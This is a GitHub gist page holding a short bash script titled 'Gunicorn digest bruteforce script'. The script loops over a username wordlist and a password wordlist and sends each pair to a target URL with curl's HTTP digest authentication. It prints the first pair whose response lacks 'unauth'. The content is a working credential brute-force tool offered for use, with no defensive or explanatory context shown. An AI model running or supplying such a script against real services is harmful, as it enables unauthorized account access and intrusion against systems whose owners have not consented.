Skip to content

Instantly share code, notes, and snippets.

@tbhaxor
Created March 24, 2021 22:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tbhaxor/09d4ba47e9a3b7291d37b01e221433ba to your computer and use it in GitHub Desktop.
Save tbhaxor/09d4ba47e9a3b7291d37b01e221433ba to your computer and use it in GitHub Desktop.
Gunicorn digest bruteforce script
cat $1 | while read USER; do
cat $2 | while read PASSWORD; do
if curl -s $3 -c /tmp/cookie --digest -u $USER:$PASSWORD | grep -qi "unauth"
then
continue
else
echo [+] Found $USER:$PASSWORD
exit 0
fi
done
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment